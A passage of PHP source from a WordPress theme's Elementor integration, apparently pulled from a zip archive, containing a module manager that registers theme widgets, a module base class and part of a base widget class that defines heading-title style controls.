			foreach ( $post_cats_args as $post_cat ) {
				$post_terms[ $post_cat->term_id ] = $post_cat->name;
			}
		}

		return $post_terms;
	}
}

if ( ! function_exists( 'penci_add_cpt_elementor_support' ) ) {
	add_action( 'option_elementor_cpt_support', 'penci_add_cpt_elementor_support' );
	function penci_add_cpt_elementor_support( $current_option ) {

		$default_theme_support = array( 'penci-block', 'archive-template', 'custom-post-template' );

		if ( is_array( $current_option ) ) {

			foreach ( $default_theme_support as $post_type ) {
				$current_option[] = $post_type;
			}
		}

		return array_filter( $current_option );
	}
}PK     N\.B!  B!  *  inc/elementor/includes/modules-manager.phpnu [        <?php

namespace PenciSoledadElementor;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

final class Manager {
	/**
	 * @var Module_Base
	 */
	private $modules = array();
	private $column_order = 1;

	public function __construct() {

		// Register controls
		$modules = array(
			'penci-sticky',
			'query-control',
			'penci-visibility-controls',
			'penci-sticky-container',
			'penci-big-grid',
			'penci-featured-sliders',
			'penci-latest-posts',
			'penci-featured-cat',
			'penci-small-list',
			'penci-custom-sliders',
			'penci-popular-posts',
			'penci-portfolio',
			'penci-featured-boxes',
			'penci-fullwidth-hero-overlay',
			'penci-news-ticker',
			'penci-category-listing',
			'penci-media-carousel',
			'penci-about-me',
			'penci-button',
			'penci-button-popup',
			'penci-posts-slider',
			'penci-recent-posts',
			'penci-stylisted-articles-count',
			'penci-instagram',
			'penci-pintersest',
			'penci-social-media',
			'penci-block-heading-title',
			'penci-animated-headline',
			'penci-multi-taxonomies-posts-filter',
			'penci-content-accordion',
			'penci-image-compare',
			'penci-table-of-contents',
			'penci-custom-carousel',
			'penci-az-taxonomy-listing',
			'penci-advanced-calculator',
			'penci-hover-box',
			'penci-circle-info',
			'penci-circle-menu',
			'penci-timeline',
			'penci-marquee',

			'penci-facebook-page',
			'penci-count-down',
			'penci-counter-up',
			'penci-fancy-heading',
			'penci-map',
			'penci-advanced-gmaps',
			'penci-info-box',
			'penci-image-gallery',
			'penci-latest-tweets',
			'penci-mail-chimp',
			'penci-open-hour',
			'penci-popular-cat',
			'penci-text-block',
			'penci-pricing-table',
			'penci-progress-bar',
			'penci-social-counter',
			'penci-team-member',
			'penci-video-playlist',
			'penci-weather',
			'penci-testimonials',
			'penci-login-form',
			'penci-sidebar',
			'penci-advanced-list',
			'penci-simple-list',
			'penci-footer-navmenu',
			'penci-tiktok-embed-feed',
			'penci-advanced-categories',
			'penci-author-list',
			'penci-search-form',
			'penci-posts-tabs',
			'penci-snapchat',
			'penci-comments-list',
			'penci-rss-feed',
			'penci-flickr',
			'penci-contact-form',
		);

		if ( class_exists( 'WooCommerce' ) ) {
			$woocommerce_modules = array(
				'penci-product',
				'penci-product-brand',
				'penci-product-filter',
				'penci-product-categories-grid',
				'penci-product-tabs',
				'penci-product-hotspot',
				'penci-product-list',
			);
			$modules = array_merge( $modules, $woocommerce_modules );
		}

		if ( defined( 'WEBSTORIES_VERSION' ) ) {
			$modules[] = 'penci-web-story';
		}

		foreach ( $modules as $module_name ) {
			$class_name = str_replace( '-', ' ', $module_name );
			$class_name = str_replace( ' ', '', ucwords( $class_name ) );
			$class_name = __NAMESPACE__ . '\\Modules\\' . $class_name . '\Module';


			/** @var Module_Base $class_name */
			$experimental_data = $class_name::get_experimental_data();

			if ( $experimental_data ) {


				\Elementor\Plugin::$instance->experiments->add_feature( $experimental_data );

				if ( ! \Elementor\Plugin::$instance->experiments->is_feature_active( $experimental_data['name'] ) ) {
					continue;
				}
			}

			if ( $class_name::is_active() ) {
				$this->modules[ $module_name ] = $class_name::instance();
			}
		}

		$this->add_actions();
	}

	/**
	 * Add sticky class for sticky content and sticky sidebar
	 */
	protected function add_actions() {
		add_action( 'elementor/frontend/column/before_render', array( $this, 'add_column_attribute' ) );
		add_action( 'elementor/frontend/section/before_render', array( $this, 'add_section_attribute' ) );

		add_action( 'elementor/frontend/column/after_add_attributes', array( $this, 'add_column_attribute' ) );
		add_action( 'elementor/frontend/section/after_add_attributes', array( $this, 'add_section_attribute' ) );

		add_action( 'elementor/frontend/container/before_render', array( $this, 'add_container_attribute' ), 0 );
		add_action( 'elementor/frontend/before_render', array( $this, 'add_attributes_to_ft_elements' ) );
		add_action( 'elementor/widget/render_content', array( $this, 'add_div_after_ft_elements' ), 10, 2 );

	}
	

	public function add_attributes_to_ft_elements( $element ) {

		if ( ! $element->get_settings( 'query_id' ) ) {
			return;
		}
	
		$element->add_render_attribute(
			'_wrapper',
			[
				'class' => 'pcft-elers-wrapper pcft-ele-' . $element->get_settings( 'query_id' ),
			]
		);
	
	}

	public function add_div_after_ft_elements( $widget_content, $widget ) {
		if ( ! $widget->get_settings( 'query_id' ) ) {
			return $widget_content;
		}
		return $widget_content . penci_get_html_animation_loading( 'df' );
	}

	/**
	 * @param string $module_name
	 *
	 * @return Module_Base|Module_Base[]
	 */
	public function get_modules( $module_name ) {
		if ( $module_name ) {
			if ( isset( $this->modules[ $module_name ] ) ) {
				return $this->modules[ $module_name ];
			}

			return null;
		}

		return $this->modules;
	}

	public function add_column_attribute( $element ) {
		$settings = $element->get_settings();

		$current_column_order = $this->column_order;
		$element->add_render_attribute( array(
			'_inner_wrapper' => array( 'class' => 'theiaStickySidebar' ),
			'_wrapper'       => array(
				'class' => array(
					'penci-ercol-' . $settings['_column_size'],
					'penci-ercol-order-' . $current_column_order,
					in_array( $settings['_column_size'], array( 33, 25 ) ) ? 'penci-sticky-sb' : 'penci-sticky-ct',
					in_array( $settings['_column_size'], array( 33, 25 ) ) ? 'penci-sidebarSC' : '',
					$settings['background_background'] ? 'penci-dmcheck penci-elbg-activate' : '',
					isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? 'penci-elbg-img' : ''
				)
			)
		) );

		$this->column_order = $current_column_order + 1;
	}

	public function add_container_attribute( $element ) {
		$settings      = $element->get_settings();
		$enable_sticky = isset( $settings['penci_enable_sticky'] ) ? $settings['penci_enable_sticky'] : false;

		$wrap = $element->get_data( 'isInner' ) ? 'e-child' : 'e-parent';

		if ( 'e-parent' == $wrap && $enable_sticky ) {
			$this->column_order = 1;

			$class = 'penci-section';

			$class .= $settings['background_background'] ? ' penci-dmcheck penci-elbg-activate' : '';
			$class .= isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? ' penci-elbg-img' : '';

			if ( ! $enable_sticky ) {
				$class .= ' penci-disSticky';
			} else {
				$class .= ' penci-enSticky';
			}

			$element->add_render_attribute( '_wrapper', array(
				'class' => $class,
			) );
		}

		if ( 'e-child' == $wrap && $enable_sticky ) {
			$current_column_order = $this->column_order;
			$element->add_render_attribute( array(
				'_wrapper' => array(
					'class' => array(
						'pc-container-sticky',
						$current_column_order + 1 > 2 ? 'penci-sticky-sb penci-sidebarSC' : 'penci-sticky-ct',
						$settings['background_background'] ? 'penci-dmcheck penci-elbg-activate' : '',
						isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? 'penci-elbg-img' : ''
					)
				)
			) );

			$this->column_order = $current_column_order + 1;
		}

	}

	public function add_section_attribute( $element ) {
		$settings = $element->get_settings();

		$enable_sticky       = isset( $settings['penci_enable_sticky'] ) ? $settings['penci_enable_sticky'] : false;
		$enable_repons_twosb = isset( $settings['penci_enable_repons_section'] ) ? $settings['penci_enable_repons_section'] : false;
		$ctsidebar_mb        = isset( $settings['penci_ctsidebar_mb'] ) ? $settings['penci_ctsidebar_mb'] : 'con_sb2_sb1';
		$structure           = isset( $settings['structure'] ) ? $settings['structure'] : '';

		$this->column_order = 1;

		$class = 'penci-section';

		$class .= $settings['background_background'] ? ' penci-dmcheck penci-elbg-activate' : '';
		$class .= isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? ' penci-elbg-img' : '';

		if ( ! $enable_sticky ) {
			$class .= ' penci-disSticky';
		} else {
			$class .= ' penci-enSticky';
		}

		if ( $enable_repons_twosb ) {
			$class .= ' penci-repons-elsection';

			$class .= ' penci-' . $ctsidebar_mb;
		}

		if ( $structure ) {
			$class .= ' penci-structure-' . $structure;
		}

		$element->add_render_attribute( '_wrapper', array(
			'class' => $class,
		) );
	}

}
PK     N\K~    "  inc/elementor/base/module-base.phpnu [        <?php
namespace PenciSoledadElementor\Base;

use Elementor\Core\Base\Module;
use PenciSoledadElementor\Loader;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Module_Base extends Module {

	public function get_widgets() {
		return array();
	}

	public function __construct() {
		add_action( 'elementor/widgets/register', array( $this, 'init_widgets' ),0 );
	}

	public function init_widgets() {
		$widget_manager = Loader::elementor()->widgets_manager;

		foreach ( $this->get_widgets() as $widget ) {
			$class_name = $this->get_reflection()->getNamespaceName() . '\Widgets\\' . $widget;



			if ( class_exists( $class_name ) ) {
				$widget_manager->register( new $class_name() );
			}
		}
	}
}
PK     N\wJ8 J8 "  inc/elementor/base/base-widget.phpnu [        <?php

namespace PenciSoledadElementor\Base;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Widget_Base;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Base_Widget extends Widget_Base {
	public static function markup_block_title( $args, $self = null ) {
		$defaults = array(
			'heading_title_style'    => 'style-1',
			'heading_title_html_tag' => 'h3',
			'heading'                => '',
			'heading_title_link'     => '',
			'add_title_icon'         => '',
			'block_title_icon'       => '',
			'block_title_ialign'     => '',
			'block_title_align'      => '',
			'heading_icon_pos'       => '',
			'heading_icon'           => '',
			'block_title_marginbt'   => '',
			'blockid'                => '',
		);

		$r = wp_parse_args( $args, $defaults );

		if ( ! $r['heading'] ) {
			return;
		}

		if ( 'video_list' == $r['heading_title_style'] ) {
			return;
		}

		$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';


		if ( $r['heading_title_style'] ) {
			$heading_title = $r['heading_title_style'];
		}

		if ( $r['block_title_align'] ) {
			$heading_align = 'pcalign-' . $r['block_title_align'];
		}

		$heading_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$heading_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		if ( $r['heading_icon_pos'] ) {
			$heading_icon_pos = $r['heading_icon_pos'];
		}

		if ( $r['heading_icon'] ) {
			$heading_icon_design = $r['heading_icon'];
		}

		$classes = 'penci-border-arrow penci-homepage-title penci-home-latest-posts';
		$classes .= ' ' . $heading_title;
		$classes .= ' ' . $heading_align;
		$classes .= ' ' . $heading_icon_pos;
		$classes .= ' ' . $heading_icon_design;
		$classes .= $r['block_title_ialign'] ? ' block-title-icon-' . $r['block_title_ialign'] : ' block-title-icon-left';
		$htag    = $r['heading_title_html_tag'];
		?>
    <div class="<?php echo esc_attr( $classes ); ?>">
        <<?php echo $htag; ?> class="inner-arrow">
        <span>
                    <?php
                    if ( $r['heading_title_link']['url'] ) {
	                    $self->add_render_attribute( 'link', 'href', $r['heading_title_link']['url'] );
	                    if ( $r['heading_title_link']['is_external'] ) {
		                    $self->add_render_attribute( 'link', 'target', '_blank' );
	                    }

	                    if ( $r['heading_title_link']['nofollow'] ) {
		                    $self->add_render_attribute( 'link', 'rel', 'nofollow' );
	                    }

	                    echo '<a ' . $self->get_render_attribute_string( 'link' ) . '>';
                    } else {
	                    echo '<span>';
                    }

                    if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
	                    \Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
                    }
                    echo do_shortcode( $r['heading'] );
                    if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
	                    \Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
                    }
                    if ( $r['heading_title_link'] ) {
	                    echo '</a>';
                    } else {
	                    echo '</span>';
                    }
                    ?>
                </span>
        </<?php echo $htag; ?>>
		<?php do_action( 'penci_block_title_extra_' . $r['blockid'] ); ?>
        </div>
		<?php
	}

	public function get_categories() {
		return array( 'basic' );
	}

	public function register_block_title_ajax_filter( $navigation = false, $condition = [] ) {
		$this->start_controls_section( 'biggrid_section_afilter', array(
			'label'     => __( 'Heading Ajax Filter', 'soledad' ),
			'condition' => $condition
		) );

		$this->add_control( 'group_more_link_text', array(
			'label'       => __( 'Add Text Before More Icon', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'label_block' => true,
			'default'     => '',
		) );

		$this->add_control( 'group_more_nopost', array(
			'label'       => __( 'No Post Found Message', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'label_block' => true,
			'default'     => penci_get_setting( 'penci_ajaxsearch_no_post' ),
		) );

		$this->add_control( 'group_more_defaultab_text', array(
			'label'       => __( 'Default Tab Text', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'label_block' => true,
			'default'     => penci_get_setting( 'penci_trans_all' ),
		) );

		$this->add_control( 'biggrid_ajaxfilter_cat', array(
			'label'       => esc_html__( 'Category', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'category',
			'multiple'    => true,
			'label_block' => true,
		) );

		$this->add_control( 'biggrid_ajaxfilter_tag', array(
			'label'       => esc_html__( 'Tags', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'post_tag',
			'multiple'    => true,
			'label_block' => true,
		) );

		$this->add_control( 'biggrid_ajaxfilter_author', array(
			'label'       => esc_html__( 'Author', 'soledad' ),
			'label_block' => true,
			'multiple'    => true,
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_user_by_query',
			'render'      => 'penci_get_user_title_by_id',
		) );

		$this->add_control( 'biggrid_ajax_loading_style', array(
			'type'    => Controls_Manager::SELECT,
			'label'   => esc_html__( 'Loading Icon Style', 'soledad' ),
			'default' => 'df',
			'options' => [
				'df' => __( 'Follow Customize', 'soledad' ),
				's9' => __( 'Style 1', 'soledad' ),
				's2' => __( 'Style 2', 'soledad' ),
				's3' => __( 'Style 3', 'soledad' ),
				's4' => __( 'Style 4', 'soledad' ),
				's5' => __( 'Style 5', 'soledad' ),
				's6' => __( 'Style 6', 'soledad' ),
				's1' => __( 'Style 7', 'soledad' ),
			],
			//'label_block' => true,
		) );

		if ( $navigation ) {
			$this->add_control( 'paging', array(
				'label' => __( 'Show Ajax Previous/Next Buttons', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			) );
		}

		$this->end_controls_section();
	}

	public function register_block_title_section_controls() {
		$this->start_controls_section( 'section_title_block', array(
			'label' => __( 'Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => esc_html__( 'Style 21', 'soledad' ),
				'style-22'          => esc_html__( 'Style 22', 'soledad' ),
				'style-23'          => esc_html__( 'Style 23', 'soledad' ),
				'style-24'          => esc_html__( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
				'style-29'          => __( 'Style 29', 'soledad' ),
				'style-30'          => __( 'Style 30', 'soledad' ),
			)
		) );
		$this->add_control( 'heading_title_html_tag', array(
			'label'   => __( 'HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'h3',
			'options' => array(
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
			'separator'   => 'before',
		) );

		$this->add_control( 'add_title_icon', array(
			'label'     => __( 'Add icon for title?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Show', 'soledad' ),
			'label_off' => __( 'Hide', 'soledad' ),
			'default'   => '',
			'separator' => 'before',
		) );

		$this->add_control( 'block_title_icon', array(
			'label'     => __( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'default'   => array( 'value' => 'fas fa-star', 'library' => 'solid' ),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );
		$this->add_control( 'block_title_ialign', array(
			'label'     => __( 'Icon Alignment', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'left',
			'options'   => array(
				'left'  => esc_html__( 'Left', 'soledad' ),
				'right' => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->add_responsive_control( 'block_title_ioffset', array(
			'label'       => __( 'Icon Offset', 'soledad' ),
			'description' => __( 'Adjust the vertical space', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'condition'   => array(
				'add_title_icon' => 'yes'
			),
			'selectors'   => array(
				'{{WRAPPER}} .inner-arrow i'   => 'transform: translateY({{SIZE}}px);',
				'{{WRAPPER}} .inner-arrow svg' => 'transform: translateY({{SIZE}}px);',
			)
		) );

		$this->add_responsive_control( 'block_title_isize', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'condition' => array(
				'add_title_icon' => 'yes'
			),
			'selectors' => array(
				'{{WRAPPER}} .inner-arrow i'   => 'font-size: {{SIZE}}px;',
				'{{WRAPPER}} .inner-arrow svg' => 'width: {{SIZE}}px;height: auto',
			)
		) );

		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''       => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			)
		) );

		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );

		$this->add_responsive_control( 'block_title_marginbt', array(
			'label'     => __( 'Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
		) );

		$this->end_controls_section();
	}

	public function register_block_title_section_controls_post() {
		$this->start_controls_section( 'section_title_block', array(
			'label' => __( 'Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'hide_block_heading', array(
			'label' => __( 'Hide Heading Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );
		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => esc_html__( 'Style 21', 'soledad' ),
				'style-22'          => esc_html__( 'Style 22', 'soledad' ),
				'style-23'          => esc_html__( 'Style 23', 'soledad' ),
				'style-24'          => esc_html__( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
				'style-29'          => __( 'Style 29', 'soledad' ),
				'style-30'          => __( 'Style 30', 'soledad' ),
			)
		) );
		$this->add_control( 'heading_title_html_tag', array(
			'label'   => __( 'HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'h3',
			'options' => array(
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );
		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''               => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcalign-left'   => esc_html__( 'Left', 'soledad' ),
				'pcalign-center' => esc_html__( 'Center', 'soledad' ),
				'pcalign-right'  => esc_html__( 'Right', 'soledad' )
			)
		) );
		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_responsive_control( 'block_title_marginbt', array(
			'label'     => __( 'Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
		) );

		$this->end_controls_section();
	}

	public function register_block_heading_link_section_style( $title = 'Heading Ajax Filter' ) {
		$this->start_controls_section( 'section_extrabtn_group', array(
			'label' => $title,
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_responsive_control( 'btn_group_link_spacing', array(
			'label'     => __( 'Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul.pcflx li a'    => 'padding-left: calc({{SIZE}}px / 2);padding-right: calc({{SIZE}}px / 2);',
				'{{WRAPPER}} .pcnav-lgroup ul.pcflx ul li a' => 'padding-left: 0;padding-right: 0;',
				'{{WRAPPER}} .pcnav-lgroup ul.pcflx-nav'     => 'padding-left: calc({{SIZE}}px - 3px);',
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btn_group_link_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcnav-lgroup ul li a',
		) );
		$this->add_responsive_control( 'btn_group_nav_size', array(
			'label'     => __( 'Next/Prev Buttons Font Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul > li > a.pcaj-nav-link' => 'font-size:{{SIZE}}px;',
			),
		) );
		$this->add_control( 'btn_group_link_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul > li > a,{{WRAPPER}} .pcnav-lgroup ul > li' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'btn_group_link_hcolor', array(
			'label'     => __( 'Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul > li > a:hover,{{WRAPPER}} .pcnav-lgroup ul > li:hover,{{WRAPPER}} .pcnav-lgroup ul li > a.clactive' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'filter_group_dbgcolor', array(
			'label'     => __( 'Filter Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title .pcnav-lgroup > ul'         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-4 .pcnav-lgroup > ul' => 'background-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'btn_group_dbgcolor', array(
